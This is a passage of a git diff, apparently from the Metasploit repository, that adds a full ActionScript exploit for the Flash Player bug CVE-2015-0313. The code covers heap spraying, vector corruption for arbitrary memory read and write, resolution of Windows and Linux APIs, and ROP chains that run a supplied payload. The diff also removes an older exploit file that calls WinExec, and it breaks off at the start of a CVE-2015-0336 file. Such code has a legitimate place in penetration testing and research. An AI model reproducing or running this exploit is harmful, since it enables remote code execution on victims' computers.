e_ba.read(entry) + if (s_type == DT_STRTAB) { + sec_dynstr = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + + private function set_got_plt():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_PLTGOT) { + sec_got_plt = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + } +} diff --git a/external/source/exploits/CVE-2015-0313/Exploit.as b/external/source/exploits/CVE-2015-0313/Exploit.as new file mode 100755 index 0000000000..e66e59e9a6 --- /dev/null +++ b/external/source/exploits/CVE-2015-0313/Exploit.as @@ -0,0 +1,113 @@ +// Build how to: +// 1. Download the AIRSDK, and use its compiler. +// 2. Be support to support 16.0 as target-player (flex-config.xml). +// 3. Download the Flex SDK (4.6) +// 4. Copy the Flex SDK libs (/framework/libs) to the AIRSDK folder (/framework/libs) +// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder) +// 5. Build with: mxmlc -o msf.swf Main.as + +// Original code by @hdarwin89 // http://hacklab.kr/flash-cve-2015-0313-%EB%B6%84%EC%84%9D/ +// Modified to be used from msf +package +{ +import flash.display.Sprite +import flash.display.LoaderInfo +import flash.events.Event +import flash.utils.ByteArray +import flash.system.Worker +import flash.system.WorkerDomain +import flash.system.MessageChannel +import flash.system.ApplicationDomain +import avm2.intrinsics.memory.casi32 +import mx.utils.Base64Decoder + +public class Exploit extends Sprite +{ + private var ov:Vector. = new Vector.(80000) + private var uv:Vector. + private var ba:ByteArray = new ByteArray() + private var worker:Worker + private var mc:MessageChannel + private var b64:Base64Decoder = new Base64Decoder() + private var payload:ByteArray + private var platform:String + private var os:String + private var exploiter:Exploiter + + public function Exploit() + { + if (Worker.current.isPrimordial) mainThread() + else workerThread() + } + + private function mainThread():void + { + platform = LoaderInfo(this.root.loaderInfo).parameters.pl + os = LoaderInfo(this.root.loaderInfo).parameters.os + var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh + var pattern:RegExp = / /g; + b64_payload = b64_payload.replace(pattern, "+") + b64.decode(b64_payload) + payload = b64.toByteArray() + + ba.length = 0x1000 + ba.shareable = true + for (var i:uint = 0; i < ov.length; i++) { + ov[i] = new Vector.(1014) + ov[i][0] = 0xdeedbeef + } + for (i = 0; i < 70000; i += 2) { + delete(ov[i]) + } + worker = WorkerDomain.current.createWorker(this.loaderInfo.bytes) + mc = worker.createMessageChannel(Worker.current) + mc.addEventListener(Event.CHANNEL_MESSAGE, onMessage) + worker.setSharedProperty("mc", mc) + worker.setSharedProperty("ba", ba) + ApplicationDomain.currentDomain.domainMemory = ba + worker.start() + } + + private function workerThread():void + { + var ba:ByteArray = Worker.current.getSharedProperty("ba") + var mc:MessageChannel = Worker.current.getSharedProperty("mc") + ba.clear() + ov[0] = new Vector.(1022) + mc.send("") + while (mc.messageAvailable); + for (var i:uint = 0;; i++) { + if (ov[0][i] == 1014 && ov[0][i + 2] == 0xdeedbeef) { + ov[0][i] = 0xffffffff + break + } + } + ov[0][0xfffffffe] = 1014 + mc.send("") + } + + private function onMessage(e:Event):void + { + var mod:uint = casi32(0, 1022, 0xFFFFFFFF) + Logger.log("[*] Exploit - onMessage(): mod: " + mod.toString()) + if (mod == 1022) mc.receive() + else { + for (var i:uint = 0; i < ov.length; i++) { + if (ov[i].length == 0xffffffff) { + uv = ov[i] + } else { + if (ov[i] != null) { + delete(ov[i]) + ov[i] = null + } + } + } + if (uv == null) { + Logger.log("[!] Exploit - onMessage(): Corrupted Vector not found") + return + } + exploiter = new Exploiter(this, platform, os, payload, uv) + } + } +} +} diff --git a/external/source/exploits/CVE-2015-0313/ExploitByteArray.as b/external/source/exploits/CVE-2015-0313/ExploitByteArray.as new file mode 100644 index 0000000000..a8da46df7b --- /dev/null +++ b/external/source/exploits/CVE-2015-0313/ExploitByteArray.as @@ -0,0 +1,85 @@ +package +{ + import flash.utils.ByteArray + + public class ExploitByteArray + { + private const MAX_STRING_LENGTH:uint = 100 + public var ba:ByteArray + public var original_length:uint + private var platform:String + + public function ExploitByteArray(p:String, l:uint = 1024) + { + ba = new ByteArray() + ba.length = l + ba.endian = "littleEndian" + ba.writeUnsignedInt(0) + platform = p + original_length = l + } + + public function set_length(length:uint):void + { + ba.length = length + } + + public function get_length():uint + { + return ba.length + } + + public function lets_ready():void + { + ba.endian = "littleEndian" + if (platform == "linux") { + ba.length = 0xffffffff + } + } + + public function is_ready():Boolean + { + if (ba.length == 0xffffffff) + return true + + return false + } + + public function read(addr:uint, type:String = "dword"):uint + { + ba.position = addr + switch(type) { + case "dword": + return ba.readUnsignedInt() + case "word": + return ba.readUnsignedShort() + case "byte": + return ba.readUnsignedByte() + } + return 0 + } + + public function read_string(addr:uint, length:uint = 0):String + { + ba.position = addr + if (length == 0) + return ba.readUTFBytes(MAX_STRING_LENGTH) + else + return ba.readUTFBytes(length) + } + + public function write(addr:uint, value:* = 0, zero:Boolean = true):void + { + var i:uint + + if (addr) ba.position = addr + if (value is String) { + for (i = 0; i < value.length; i++) ba.writeByte(value.charCodeAt(i)) + if (zero) ba.writeByte(0) + } else if (value is ByteArray) { + var value_length:uint = value.length + for (i = 0; i < value_length; i++) ba.writeByte(value.readByte()) + } else ba.writeUnsignedInt(value) + } + } +} diff --git a/external/source/exploits/CVE-2015-0313/ExploitVector.as b/external/source/exploits/CVE-2015-0313/ExploitVector.as new file mode 100644 index 0000000000..9fcbb01f7b --- /dev/null +++ b/external/source/exploits/CVE-2015-0313/ExploitVector.as @@ -0,0 +1,74 @@ +package +{ + public class ExploitVector + { + private var uv:Vector. + public var original_length:uint = 1014 + + public function ExploitVector(v:Vector.) + { + uv = v + } + + public function restore():void + { + uv[0x3ffffffe] = original_length + } + + public function is_ready():Boolean + { + if (uv.length > original_length) + { + return true + } + return false + } + + public function at(pos:uint):uint + { + return uv[pos] + } + + // pos: position where a Vector.[0] lives + public function set_own_address(pos:uint):void + { + uv[0] = uv[pos - 5] - ((pos - 5) * 4) - 0xc + } + + public function read(addr:uint):uint + { + var pos:uint = 0 + + if (addr > uv[0]) { + pos = ((addr - uv[0]) / 4) - 2 + } else { + pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1 + } + + return uv[pos] + } + + public function write(addr:uint, value:uint = 0):void + { + var pos:uint = 0 + + if (addr > uv[0]) { + pos = ((addr - uv[0]) / 4) - 2 + } else { + pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1 + } + + uv[pos] = value + } + + public function search_pattern(pattern:uint, limit:uint):uint + { + for (var i:uint = 0; i < limit/4; i++) { + if (uv[i] == pattern) { + return i + } + } + throw new Error() + } + } +} diff --git a/external/source/exploits/CVE-2015-0313/Exploiter.as b/external/source/exploits/CVE-2015-0313/Exploiter.as new file mode 100644 index 0000000000..0a971409f6 --- /dev/null +++ b/external/source/exploits/CVE-2015-0313/Exploiter.as @@ -0,0 +1,399 @@ +package +{ + import flash.utils.ByteArray + import flash.system.System + + public class Exploiter + { + private const VECTOR_OBJECTS_LENGTH:uint = 1014 + private var exploit:Exploit + private var ev:ExploitVector + private var eba:ExploitByteArray + private var payload:ByteArray + private var platform:String + private var op_system:String + private var pos:uint + private var byte_array_object:uint + private var main:uint + private var stack_object:uint + private var payload_space_object:uint + private var buffer_object:uint + private var buffer:uint + private var vtable:uint + private var stack_address:uint + private var payload_address:uint + private var stack:Vector. = new Vector.(0x6400) + private var payload_space:Vector. = new Vector.(0x6400) + private var spray:Vector. = new Vector.(90000) + + public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector.):void + { + exploit = exp + payload = p + platform = pl + op_system = os + + ev = new ExploitVector(uv) + if (!ev.is_ready()) return + eba = new ExploitByteArray(platform) + spray_objects() + try { pos = search_objects() } catch (err:Error) { ev.restore(); cleanup(); return; } + ev.set_own_address(pos) + if (!disclose_objects()) { ev.restore(); cleanup(); return; } + disclose_addresses() + corrupt_byte_array() + if (!eba.is_ready()) { ev.restore(); cleanup(); return } + do_rop() + restore_byte_array() + ev.restore() + cleanup() + } + + private function spray_objects():void + { + Logger.log("[*] Exploiter - spray_objects()") + for (var i:uint = 0; i < spray.length; i++) + { + spray[i] = new Vector.(VECTOR_OBJECTS_LENGTH) + spray[i][0] = eba.ba + spray[i][1] = exploit + spray[i][2] = stack + spray[i][3] = payload_space + } + } + + private function search_objects():uint + { + Logger.log("[*] Exploiter - search_objects()") + var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0xac100) + return idx + 1 + } + + private function disclose_objects():Boolean + { + Logger.log("[*] Exploiter - disclose_objects()") + byte_array_object = ev.at(pos) - 1 + main = ev.at(pos + 1) - 1 + stack_object = ev.at(pos + 2) - 1 + payload_space_object = ev.at(pos + 3) - 1 + if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) { + return false + } + return true + } + + private function disclose_addresses():void + { + Logger.log("[*] Exploiter - disclose_addresses()") + if (platform == "linux") + { + buffer_object = ev.read(byte_array_object + 0x10) + buffer = ev.read(buffer_object + 0x1c) + } + else if (platform == "win") + { + buffer_object = ev.read(byte_array_object + 0x40) + buffer = ev.read(buffer_object + 8) + } + vtable = ev.read(main) + stack_address = ev.read(stack_object + 0x18) + payload_address = ev.read(payload_space_object + 0x18) + } + + private function corrupt_byte_array():void + { + Logger.log("[*] Exploiter - corrupt_byte_array(): " + platform) + if (platform == "linux") + { + ev.write(buffer_object + 0x1c) // *array + ev.write(buffer_object + 0x20, 0xffffffff) // capacity + } + else if (platform == "win") + { + ev.write(buffer_object + 8) // *array + ev.write(buffer_object + 16, 0xffffffff) // capacity + } + eba.lets_ready() + } + + private function restore_byte_array():void + { + Logger.log("[*] Exploiter - restore_byte_array(): " + platform) + if (platform == "linux") + { + ev.write(buffer_object + 0x1c, buffer) // *array + ev.write(buffer_object + 0x20, 1024) // capacity + } + else if (platform == "win") + { + ev.write(buffer_object + 8, buffer) // *array + ev.write(buffer_object + 16, 1024) // capacity + } + eba.set_length(eba.original_length) + } + + private function do_rop():void + { + Logger.log("[*] Exploiter - do_rop()") + if (platform == "linux") { + do_rop_linux() + } else if (platform == "win") { + if (op_system == "Windows 8.1") { + do_rop_windows8() + } else if (op_system == "Windows 7") { + do_rop_windows() + } else { + return + } + } else { + return + } + } + + private function do_rop_windows():void + { + Logger.log("[*] Exploiter - do_rop_windows()") + var pe:PE = new PE(eba) + var flash:uint = pe.base(vtable) + var winmm:uint = pe.module("winmm.dll", flash) + var kernel32:uint = pe.module("kernel32.dll", winmm) + var ntdll:uint = pe.module("ntdll.dll", kernel32) + var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32) + var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32) + var createthread:uint = pe.procedure("CreateThread", kernel32) + var memcpy:uint = pe.procedure("memcpy", ntdll) + var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash) + var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash) + var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll) + + // Continuation of execution + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret + + // Put the payload (command) in memory + eba.write(payload_address + 8, payload, true); // payload + + // Put the fake vtabe / stack on memory + eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability... + eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h] + eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot + eba.write(0, virtualprotect) + + // VirtualProtect + eba.write(0, virtualalloc) + eba.write(0, buffer + 0x10) + eba.write(0, 0x1000) + eba.write(0, 0x40) + eba.write(0, buffer + 0x8) // Writable address (4 bytes) + + // VirtualAlloc + eba.write(0, memcpy) + eba.write(0, 0x7f6e0000) + eba.write(0, 0x4000) + eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE + eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE + + // memcpy + eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't + eba.write(0, 0x7f6e0000) + eba.write(0, payload_address + 8) + eba.write(0, payload.length) + + // CreateThread + eba.write(0, createthread) + eba.write(0, buffer + 0x10) // return to fix things + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0x7f6e0000) + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0) + + eba.write(main, stack_address + 0x18000) // overwrite with fake vtable + exploit.toString() // call method in the fake vtable + } + + private function do_rop_windows8():void + { + Logger.log("[*] Exploiter - do_rop_windows8()") + var pe:PE = new PE(eba) + var flash:uint = pe.base(vtable) + var winmm:uint = pe.module("winmm.dll", flash) + var advapi32:uint = pe.module("advapi32.dll", flash) + var kernelbase:uint = pe.module("kernelbase.dll", advapi32) + var kernel32:uint = pe.module("kernel32.dll", winmm) + var ntdll:uint = pe.module("ntdll.dll", kernel32) + var virtualprotect:uint = pe.procedure("VirtualProtect", kernelbase) + var virtualalloc:uint = pe.procedure("VirtualAlloc", kernelbase) + var createthread:uint = pe.procedure("CreateThread", kernelbase) + var memcpy:uint = pe.procedure("memcpy", ntdll) + var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash) + var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash) + var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll) + + // Continuation of execution + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret + + // Put the payload (command) in memory + eba.write(payload_address + 8, payload, true); // payload + + // Put the fake vtabe / stack on memory + eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability... + eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h] + eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot + eba.write(0, virtualprotect) + + // VirtualProtect + eba.write(0, virtualalloc) + eba.write(0, buffer + 0x10) + eba.write(0, 0x1000) + eba.write(0, 0x40) + eba.write(0, buffer + 0x8) // Writable address (4 bytes) + + // VirtualAlloc + eba.write(0, memcpy) + eba.write(0, 0x7ffd0000) + eba.write(0, 0x4000) + eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE + eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE + + // memcpy + eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't + eba.write(0, 0x7ffd0000) + eba.write(0, payload_address + 8) + eba.write(0, payload.length) + + // CreateThread + eba.write(0, createthread) + eba.write(0, buffer + 0x10) // return to fix things + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0x7ffd0000) + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0) + + eba.write(main, stack_address + 0x18000) // overwrite with fake vtable + exploit.toString() // call method in the fake vtable + } + + private function do_rop_linux():void + { + Logger.log("[*] Exploiter - do_rop_linux()") + var flash:Elf = new Elf(eba, vtable) + var feof:uint = flash.external_symbol('feof') + var libc:Elf = new Elf(eba, feof) + var popen:uint = libc.symbol("popen") + var mprotect:uint = libc.symbol("mprotect") + var mmap:uint = libc.symbol("mmap") + var clone:uint = libc.symbol("clone") + var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff) + var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff) + var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff) + + // Continuation of execution + // 1) Recover original vtable + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + // 2) Recover original stack + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi + + // my_memcpy + eba.write(buffer + 0x60, "\x56", false) // push esi + eba.write(0, "\x57", false) // push edi + eba.write(0, "\x51", false) // push ecx + eba.write(0, "\x8B\x7C\x24\x10", false) // mov edi,[esp+0x10] + eba.write(0, "\x8B\x74\x24\x14", false) // mov esi,[esp+0x14] + eba.write(0, "\x8B\x4C\x24\x18", false) // mov ecx,[esp+0x18] + eba.write(0, "\xF3\xA4", false) // rep movsb + eba.write(0, "\x59", false) // pop ecx + eba.write(0, "\x5f", false) // pop edi + eba.write(0, "\x5e", false) // pop esi + eba.write(0, "\xc3", false) // ret + + // Put the popen parameters in memory + eba.write(payload_address + 0x8, payload, true) // false + + // Put the fake stack/vtable on memory + eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot + eba.write(stack_address + 0x18000, xchgeaxesiret) // Save original stack on esi + eba.write(0, addesp2cret) //second pivot to preserver stack_address + 0x18024 + + // Return to mprotect() + eba.write(stack_address + 0x18034, mprotect) + // Return to stackpivot (jmp over mprotect parameters) + eba.write(0, addesp2cret) + // mprotect() arguments + eba.write(0, buffer) // addr + eba.write(0, 0x1000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + + // Return to mmap() + eba.write(stack_address + 0x18068, mmap) + // Return to stackpivot (jmp over mmap parameters) + eba.write(0, addesp2cret) + // mmap() code segment arguments + eba.write(0, 0x70000000) // 0x70000000 + eba.write(0, 0x4000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS + eba.write(0, 0xffffffff) // filedes + eba.write(0, 0) // offset + + // Return to mmap() + eba.write(stack_address + 0x1809c, mmap) + // Return to stackpivot (jmp over mmap parameters) + eba.write(0, addesp2cret) + // mmap() stack segment arguments + eba.write(0, 0x70008000) // NULL + eba.write(0, 0x10000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS + eba.write(0, -1) // filedes + eba.write(0, 0) // offset + + // Return to memcpy() + eba.write(stack_address + 0x180d0, buffer + 0x60) + // Return to stackpivot (jmp over memcpy parameters) + eba.write(0, addesp2cret) + // memcpy() parameters + eba.write(0, 0x70000000) + eba.write(0, payload_address + 0x8) + eba.write(0, payload.length) + + // Return to clone() + eba.write(stack_address + 0x18104, clone) + // Return to CoE (fix stack and object vtable) + eba.write(0, buffer + 0x10) + // clone() arguments + eba.write(0, 0x70000000) // code + eba.write(0, 0x7000bff0) // stack + eba.write(0, 0x00000100) // flags CLONE_VM + eba.write(0, 0) // args + + //call DWORD PTR [eax+0x24] + //EAX: 0x41414141 ('AAAA') + //EDI: 0xad857088 ("AAAA\377") + eba.write(main, stack_address + 0x18000) + exploit.hasOwnProperty('msf') + } + + private function cleanup():void + { + Logger.log("[*] Exploiter - cleanup()") + spray = null + stack = null + payload_space = null + eba = null + ev = null + exploit = null + System.pauseForGCIfCollectionImminent(0) + } + } +} diff --git a/external/source/exploits/CVE-2015-0313/Logger.as b/external/source/exploits/CVE-2015-0313/Logger.as new file mode 100644 index 0000000000..16c0447973 --- /dev/null +++ b/external/source/exploits/CVE-2015-0313/Logger.as @@ -0,0 +1,32 @@ +package +{ + import flash.external.ExternalInterface + + public class Logger { + private static const DEBUG:uint = 0 + + public static function alert(msg:String):void + { + var str:String = ""; + + if (DEBUG == 1) + str += msg; + + if(ExternalInterface.available){ + ExternalInterface.call("alert", str); + } + } + + public static function log(msg:String):void + { + var str:String = ""; + + if (DEBUG == 1) + str += msg; + + if(ExternalInterface.available){ + ExternalInterface.call("console.log", str); + } + } + } +} diff --git a/external/source/exploits/CVE-2015-0313/Main.as b/external/source/exploits/CVE-2015-0313/Main.as deleted file mode 100755 index 58ed3d2bb5..0000000000 --- a/external/source/exploits/CVE-2015-0313/Main.as +++ /dev/null @@ -1,207 +0,0 @@ -// Build how to: -// 1. Download the AIRSDK, and use its compiler. -// 2. Be support to support 16.0 as target-player (flex-config.xml). -// 3. Download the Flex SDK (4.6) -// 4. Copy the Flex SDK libs (/framework/libs) to the AIRSDK folder (/framework/libs) -// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder) -// 5. Build with: mxmlc -o msf.swf Main.as - -// Original code by @hdarwin89 // http://hacklab.kr/flash-cve-2015-0313-%EB%B6%84%EC%84%9D/ -// Modified to be used from msf -package -{ -import flash.display.Sprite -import flash.display.LoaderInfo -import flash.events.Event -import flash.utils.ByteArray -import flash.system.Worker -import flash.system.WorkerDomain -import flash.system.MessageChannel -import flash.system.ApplicationDomain -import avm2.intrinsics.memory.casi32 -import mx.utils.Base64Decoder - -public class Main extends Sprite -{ - private var ov:Vector. = new Vector.(25600) - private var uv:Vector. = new Vector. - private var ba:ByteArray = new ByteArray() - private var worker:Worker - private var mc:MessageChannel - private var b64:Base64Decoder = new Base64Decoder() - private var payload:String = "" - - public function Main() - { - if (Worker.current.isPrimordial) mainThread() - else workerThread() - } - - private function mainThread():void - { - b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh) - payload = b64.toByteArray().toString() - - ba.length = 0x1000 - ba.shareable = true - for (var i:uint = 0; i < ov.length; i++) { - ov[i] = new Vector.(1014) - ov[i][0] = ba - ov[i][1] = this - } - for (i = 0; i < ov.length; i += 2) delete(ov[i]) - worker = WorkerDomain.current.createWorker(this.loaderInfo.bytes) - mc = worker.createMessageChannel(Worker.current) - mc.addEventListener(Event.CHANNEL_MESSAGE, onMessage) - worker.setSharedProperty("mc", mc) - worker.setSharedProperty("ba", ba) - ApplicationDomain.currentDomain.domainMemory = ba - worker.start() - } - - private function workerThread():void - { - var ba:ByteArray = Worker.current.getSharedProperty("ba") - var mc:MessageChannel = Worker.current.getSharedProperty("mc") - ba.clear() - ov[0] = new Vector.(1022) - mc.send("") - while (mc.messageAvailable); - ov[0][0] = ov[0][0x403] - 0x18 - 0x1000 - ba.length = 0x500000 - var buffer:uint = vector_read(vector_read(ov[0][0x408] - 1 + 0x40) + 8) + 0x100000 - var main:uint = ov[0][0x409] - 1 - var vtable:uint = vector_read(main) - vector_write(vector_read(ov[0][0x408] - 1 + 0x40) + 8) - vector_write(vector_read(ov[0][0x408] - 1 + 0x40) + 16, 0xffffffff) - mc.send(ov[0][0].toString() + "/" + buffer.toString() + "/" + main.toString() + "/" + vtable.toString()) - } - - private function onMessage(e:Event):void - { - casi32(0, 1022, 0xFFFFFFFF) - if (ba.length != 0xffffffff) mc.receive() - else { - ba.endian = "littleEndian" - var data:Array = (mc.receive() as String).split("/") - byte_write(parseInt(data[0])) - var buffer:uint = parseInt(data[1]) as uint - var main:uint = parseInt(data[2]) as uint - var vtable:uint = parseInt(data[3]) as uint - var flash:uint = base(vtable) - var ieshims:uint = module("winmm.dll", flash) - var kernel32:uint = module("kernel32.dll", ieshims) - - var virtualprotect:uint = procedure("VirtualProtect", kernel32) - var winexec:uint = procedure("WinExec", kernel32) - var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash) - var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash) - - //CoE - byte_write(buffer + 0x30000, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable - byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main - byte_write(0, "\x89\x03", false) // mov [ebx], eax - byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret - - byte_write(buffer+0x200, payload); - byte_write(buffer + 0x20070, xchgeaxespret) - byte_write(buffer + 0x20000, xchgeaxesiret) - byte_write(0, virtualprotect) - - // VirtualProtect - byte_write(0, winexec) - byte_write(0, buffer + 0x30000) - byte_write(0, 0x1000) - byte_write(0, 0x40) - byte_write(0, buffer + 0x100) - - // WinExec - byte_write(0, buffer + 0x30000) - byte_write(0, buffer + 0x200) - byte_write(0) - - byte_write(main, buffer + 0x20000) - toString() - } - } - - private function vector_write(addr:uint, value:uint = 0):void - { - addr > ov[0][0] ? ov[0][(addr - uv[0]) / 4 - 2] = value : ov[0][0xffffffff - (ov[0][0] - addr) / 4 - 1] = value - } - - private function vector_read(addr:uint):uint - { - return addr > ov[0][0] ? ov[0][(addr - ov[0][0]) / 4 - 2] : ov[0][0xffffffff - (ov[0][0] - addr) / 4 - 1] - } - - private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void - { - if (addr) ba.position = addr - if (value is String) { - for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i)) - if (zero) ba.writeByte(0) - } else ba.writeUnsignedInt(value) - } - - private function byte_read(addr:uint, type:String = "dword"):uint - { - ba.position = addr - switch(type) { - case "dword": - return ba.readUnsignedInt() - case "word": - return ba.readUnsignedShort() - case "byte": - return ba.readUnsignedByte() - } - return 0 - } - - private function base(addr:uint):uint - { - addr &= 0xffff0000 - while (true) { - if (byte_read(addr) == 0x00905a4d) return addr - addr -= 0x10000 - } - return 0 - } - - private function module(name:String, addr:uint):uint - { - var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80), i:int = -1 - while (true) { - var entry:uint = byte_read(iat + (++i) * 0x14 + 12) - if (!entry) throw new Error("FAIL!"); - ba.position = addr + entry - if (ba.readUTFBytes(name.length).toUpperCase() == name.toUpperCase()) break - } - return base(byte_read(addr + byte_read(iat + i * 0x14 + 16))) - } - - private function procedure(name:String, addr:uint):uint - { - var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78) - var numberOfNames:uint = byte_read(eat + 0x18) - var addressOfFunctions:uint = addr + byte_read(eat + 0x1c) - var addressOfNames:uint = addr + byte_read(eat + 0x20) - var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24) - for (var i:uint = 0; ; i++) { - var entry:uint = byte_read(addressOfNames + i * 4) - ba.position = addr + entry - if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break - } - return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4) - } - - private function gadget(gadget:String, hint:uint, addr:uint):uint - { - var find:uint = 0 - var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50) - var value:uint = parseInt(gadget, 16) - for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break - return addr + i - } -} -} \ No newline at end of file diff --git a/external/source/exploits/CVE-2015-0313/PE.as b/external/source/exploits/CVE-2015-0313/PE.as new file mode 100644 index 0000000000..8753586477 --- /dev/null +++ b/external/source/exploits/CVE-2015-0313/PE.as @@ -0,0 +1,72 @@ +package +{ + public class PE + { + private var eba:ExploitByteArray + + public function PE(ba:ExploitByteArray) + { + eba = ba + } + + public function base(addr:uint):uint + { + addr &= 0xffff0000 + while (true) { + if (eba.read(addr) == 0x00905a4d) return addr + addr -= 0x10000 + } + return 0 + } + + public function module(name:String, addr:uint):uint + { + var iat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x80), i:int = -1 + var mod_name:String + + while (true) { + var entry:uint = eba.read(iat + (++i) * 0x14 + 12) + if (!entry) throw new Error("FAIL!"); + mod_name = eba.read_string(addr + entry, name.length) + if (mod_name.toUpperCase() == name.toUpperCase()) break + } + return base(eba.read(addr + eba.read(iat + i * 0x14 + 16))) + } + + public function procedure(name:String, addr:uint):uint + { + var eat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x78) + var numberOfNames:uint = eba.read(eat + 0x18) + var addressOfFunctions:uint = addr + eba.read(eat + 0x1c) + var addressOfNames:uint = addr + eba.read(eat + 0x20) + var addressOfNameOrdinals:uint = addr + eba.read(eat + 0x24) + var proc_name:String + + for (var i:uint = 0; ; i++) { + var entry:uint = eba.read(addressOfNames + i * 4) + proc_name = eba.read_string(addr + entry, name.length + 2) + if (proc_name.toUpperCase() == name.toUpperCase()) break + } + return addr + eba.read(addressOfFunctions + eba.read(addressOfNameOrdinals + i * 2, "word") * 4) + } + + public function gadget(gadget:String, hint:uint, addr:uint):uint + { + var find:uint = 0 + var contents:uint = 0 + var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50) + var value:uint = parseInt(gadget, 16) + + for (var i:uint = 0; i < limit - 4; i++) { + contents = eba.read(addr + i) + if (hint == 0xffffffff && value == contents) { + return addr + i + } + if (hint != 0xffffffff && value == (contents & hint)) { + return addr + i + } + } + throw new Error() + } + } +} diff --git a/external/source/exploits/CVE-2015-0336/Elf.as b/external/source/exploits/CVE-2015-0336/Elf.as new file mode 100644 index 0000000000..ee7283c61c --- /dev/null +++ b/external/source/exploits/CVE-2015-0336/Elf.as @@ -0,0 +1,235 @@ +package +{ + public class Elf + { + private const PT_DYNAMIC:uint = 2 + private const PT_LOAD:uint = 1 + private const PT_READ_EXEC:uint = 5 + private const DT_SYMTAB:uint = 6 + private const DT_STRTAB:uint = 5 + private const DT_PLTGOT:uint = 3 + + private var e_ba:ExploitByteArray + // elf base address + public var base:uint = 0 + // program header address + public var ph:uint = 0 + // number of program headers + public var ph_size:uint = 0 + // program header entry size + public var ph_esize:uint = 0 + // DYNAMIC segment address + public var seg_dynamic:uint = 0 + // DYNAMIC segment size + public var seg_dynamic_size:uint = 0 + // CODE segment address + public var seg_exec:uint = 0 + // CODE segment size + public var seg_exec_size:uint = 0 + // .dynsyn section address + public var sec_dynsym:uint = 0 + // .synstr section address + public var sec_dynstr:uint = 0 + // .got.plt section address + public var sec_got_plt:uint = 0 + + public function 